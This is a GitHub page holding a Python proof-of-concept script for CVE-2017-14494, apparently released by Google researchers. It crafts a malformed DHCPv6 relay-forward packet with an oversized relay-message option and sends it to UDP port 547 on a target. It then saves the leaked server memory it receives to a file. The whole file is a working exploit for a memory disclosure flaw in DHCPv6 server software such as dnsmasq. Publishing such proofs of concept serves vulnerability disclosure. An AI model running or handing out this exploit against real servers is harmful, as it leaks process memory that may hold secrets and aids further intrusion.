This repository has been archived by the owner on Jan 10, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 248
/
CVE-2017-14494.py
96 lines (82 loc) · 2.73 KB
/
CVE-2017-14494.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python
#
# Copyright 2017 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <[email protected]>
# Felix Wilhelm <[email protected]>
# Gabriel Campana <[email protected]>
# Kevin Hamacher <[email protected]>
# Gynvael Coldwind <[email protected]>
# Ron Bowes - Xoogler :/
from binascii import unhexlify
from struct import pack
import socket
import sys
# num bytes to leak. < 0xFFFF, exact upper limit not tested.
N_BYTES = 0x8000
def send_packet(data, host, port):
print("[+] sending {} bytes to [{}]:{}".format(len(data), host, port))
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data))
if s.sendto(data, (host, port)) != len(data):
print("[!] Could not send (full) payload")
s.close()
def u8(x):
return pack("B", x)
def u16(x):
return pack("!H", x)
def gen_option(option, data, length=None):
if length is None:
length = len(data)
return b"".join([
u16(option),
u16(length),
data
])
def inner_pkg(duid):
OPTION6_SERVER_ID = 2
return b"".join([
u8(5), # Type = DHCP6RENEW
u8(0), u16(1337), # ID
gen_option(OPTION6_SERVER_ID, duid),
gen_option(1, "", length=(N_BYTES - 8 - 18)) # Client ID
])
if __name__ == '__main__':
assert len(sys.argv) == 2, "{} <ip> <duid>".format(sys.argv[0])
# No automated way to obtain a duid, sorry. Not a programming contest after all.
host, duid = sys.argv[1:]
duid = unhexlify(duid)
assert len(duid) == 14
pkg = b"".join([
u8(12), # DHCP6RELAYFORW
'?',
# Client addr
'\xFD\x00',
'\x00\x00' * 6,
'\x00\x05',
'_' * (33 - 17), # Skip random data.
# Option 9 - OPTION6_RELAY_MSG
gen_option(9, inner_pkg(duid), length=N_BYTES),
])
# Setup receiving port
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, N_BYTES)
s.bind(('::', 547))
# Send request
send_packet(pkg, host, 547)
# Dump response
with open('response.bin', 'wb') as f:
f.write(s.recvfrom(N_BYTES)[0])